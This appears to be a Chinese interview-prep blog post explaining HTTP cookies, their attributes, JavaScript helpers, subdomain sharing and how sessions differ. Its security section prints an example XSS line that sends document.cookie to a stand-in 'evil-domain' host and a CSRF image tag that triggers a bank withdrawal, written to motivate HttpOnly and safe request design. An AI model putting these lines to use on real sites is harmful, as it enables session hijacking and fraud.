驚豔面試官的 Cookie 介紹

✔ Cookie 是什麼

cookie

Cookie 是用戶瀏覽器保存在本地的一小塊數據,它會在瀏覽器下次向同一服務器再發起請求時被攜帶併發送到服務器上。javascript

Cookie 主要用於如下三個方面:php

  • 會話狀態管理(如用戶登陸狀態、購物車、遊戲分數或其它須要記錄的信息)
  • 個性化設置(如用戶自定義設置、主題等)
  • 瀏覽器行爲跟蹤(如跟蹤分析用戶行爲等)

✔ Domain

Domain 標識指定了哪些主機能夠接受 Cookie。若是不指定,默認爲當前文檔的主機(不包含子域名)。若是指定了 Domain,則通常包含子域名(子域名能夠訪問父域名的 Cookie)html

例如,若是設置 Domain=mozilla.org,則 Cookie 也包含在子域名中(如 developer.mozilla.org)。java

✔ Path

Path 標識指定了主機下的哪些路徑能夠接受 Cookie(該 URL 路徑必須存在於請求 URL 中)。以字符 %x2F (/) 做爲路徑分隔符,子路徑也會被匹配。跨域

設置 Path=/docs,則如下地址都會匹配:瀏覽器

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

✔ Expires/Max-Age

Cookie 的過時時間,過了這個時間以後 Cookie 將會自動刪除。安全

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製代碼

Max-Age 的單位是秒。服務器

document.cookie = 'promo_shown=1; Max-Age=2600000; Secure'
複製代碼

✔ HttpOnly

爲避免跨域腳本 (XSS) 攻擊,經過 JavaScript 的 Document.cookie API 沒法訪問帶有 HttpOnly 標記的 Cookie,它們只應該發送給服務端。若是包含服務端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調用,那麼就應該爲其設置 HttpOnly 標記。cookie

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
複製代碼

✔ Secure

標記爲 Secure 的 Cookie 只應經過被 HTTPS 協議加密過的請求發送給服務端。併發

✔ SameSite

ref

SameSite Cookie 容許服務器要求某個 Cookie 在跨站請求時不會被髮送,從而能夠阻止跨站請求僞造攻擊(CSRF)。

Set-Cookie: key=value; SameSite=Strict
複製代碼
  • None 瀏覽器會在同站請求、跨站請求下繼續發送 Cookies,不區分大小寫;
  • Strict 瀏覽器將只發送相同站點請求的 Cookie(即當前網頁 URL 與請求目標 URL 徹底一致)。若是請求來自與當前 location 的 URL 不一樣的 URL,則不包括標記爲 Strict 屬性的 Cookie;
  • Lax 在新版本瀏覽器中,爲默認選項,Same-site Cookies 將會爲一些跨站子請求保留,如圖片加載或者 iframe 不會發送,而點擊 <a> 標籤會發送;
請求類型 示例 正常狀況 Lax
連接 <a href="..."></a> 發送 Cookie 發送 Cookie
預加載 <link rel="prerender" href="..."/> 發送 Cookie 發送 Cookie
GET 表單 <form method="GET" action="..."> 發送 Cookie 發送 Cookie
POST 表單 <form method="POST" action="..."> 發送 Cookie 不發送
iframe <iframe src="..."></iframe> 發送 Cookie 不發送
AJAX $.get("...") 發送 Cookie 不發送
Image <img src="..."> 發送 Cookie 不發送

✔ 增刪改查

ref

設置 Cookie 和修改 Cookie 相同:

function setCookie(cname, cvalue, exdays) {
  const d = new Date()
  d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000)
  const expires = 'expires=' + d.toUTCString()
  return (document.cookie = cname + '=' + cvalue + ';' + expires + ';path=/')
}
複製代碼

刪除 Cookie:

function deleteCookie(cname) {
  const d = new Date()
  const expires = 'expires=' + d.toUTCString()
  return (document.cookie = cname + '=' + ';' + expires + ';path=/')
}
複製代碼

查詢 Cookie:

function getCookie(cname) {
  const cookieObj = document.cookie.split(';').reduce((prev, curr) => {
    const entry = curr.split('=')
    prev[entry[0].trim()] = entry[1]
    return prev
  }, {})
  if (cname) return cookieObj[cname]
  return cookieObj
}
複製代碼

✔ 不一樣二級域名共享 Cookie

Cookie 能夠設置成給子域名共享,相似於在 x.com.cn 設置的 Cookie 能夠提供給 a.x.com.cnb.x.com.cnsuba.a.x.com.cn 等域名訪問。

好比下面的方式:

res.writeHead(200, {
  'Set-Cookie': ['name=sub-x-com-cn; path=/;domain=x.com.cn', 'name=only-x-com-cn; path=/'],
})
複製代碼

domain=x.com.cn 表示 domain=x.com.cn 及其子域名均可以使用, 不寫 doamin 默認只有當前域名可用,設置的 Cookie 是這樣的:

x.com.cn

subx.x.com.cn


總結

  1. 設置 Cookie 時,在 x.com.cn 設置爲 ...;domain=x.com.cn 的 Cookie 能夠給 x.com.cn 及其子域名使用;
  2. 設置 Cookie 時,在 x.com.cn 設置沒有 domain 的 Cookie 只能給 x.com.cn 使用;
  3. 父域名沒法在子域名設置 Cookie,例如在 x.com.cn 設置了 name=lxfriday;domain=subx.x.com.cn,這種設置是無效的;

✔ Cookie 常見問題

  1. Cookie 不區分端口;
  2. 一個 Cookie 存儲上限是 4K 大小;
  3. Cookie 只能存儲 ASCII 字符串;

✔ Cookie 安全-會話劫持和 XSS

new Image().src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie
複製代碼

HttpOnly 類型的 Cookie 因爲阻止了 JavaScript 對其的訪問性而能在必定程度上緩解此類攻擊。

✔ Cookie 安全-跨站請求僞造(CSRF)

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
複製代碼

當你打開含有了這張圖片的 HTML 頁面時,若是你以前已經登陸了你的銀行賬號而且 Cookie 仍然有效(尚未其它驗證步驟),你銀行裏的錢極可能會被自動轉走。

這種狀況只是一種假設,實際上應該不容許使用 GET 修改數據,對轉帳的操做須要添加二次確認。

✔ Session

Session 機制是一種服務器端的機制,服務器使用一種相似於散列表的結構(也可能就是使用散列表)來保存信息。

當程序須要爲某個客戶端的請求建立一個 Session 時,服務器首先檢查這個客戶端的請求裏是否已包含了一個 Session 標識(稱爲 Session ID),若是已包含則說明之前已經爲此客戶端建立過 Session,服務器就按照 Session ID 把這個 Session 檢索出來使用(檢索不到,會新建一個),若是客戶端請求不包含 Session ID,則爲此客戶端建立一個 Session 而且生成一個與此 Session 相關聯的 Session ID,Session ID 的值應該是一個既不會重複,又不容易被找到規律以仿造的字符串,這個 Session ID 將被在本次響應中返回給客戶端保存。

Session 從客戶端傳輸到服務端的方式有兩種:

  1. 經過 Cookie 傳輸;
  2. 經過 URL 傳輸;
  3. 表單隱藏字段,經過在 <form> 中添加一個隱藏字段,把 Session 傳回服務器;

基於 Cookie 實現,會話期 Cookie 是最簡單的 Cookie:瀏覽器關閉以後它會被自動刪除,也就是說它僅在會話期內有效。會話期 Cookie 不須要指定過時時間(Expires)或者有效期(Max-Age)。

Set-Cookie: name=lxfriday.xyz; path=/; HttpOnly
複製代碼

Session in Chrome

✔ Cookie 與 Session 有什麼不一樣

ref

  1. 保存的地方不一樣,Cookie 保存在客戶端,Session 保存在服務端;
  2. 有效期不一樣,Cookie 能夠存儲很長時間,Session 只能存在於一次會話中,瀏覽器關閉以後 Session 就失效了;
  3. 安全性不一樣,Cookie 存儲在客戶端容易被盜取或者利用,Session 在服務端比較安全;
  4. 存儲大小不一樣,單個 Cookie 能存儲 4K 的數據,Session 存儲量比 Cookie 高得多;
  5. 存取方式不一樣,Cookie 中只能保存 ASCII 字符串,假如需求存取 Unicode 字符或者二進制數據,需求先進行編碼。Session 中可以存取任何類型的數據;
  6. 服務器壓力不一樣,Session 是存儲在服務端的,巨大併發的時候會使服務器資源急速飆升。Cookie 則不存在此問題;
相關文章
相關標籤/搜索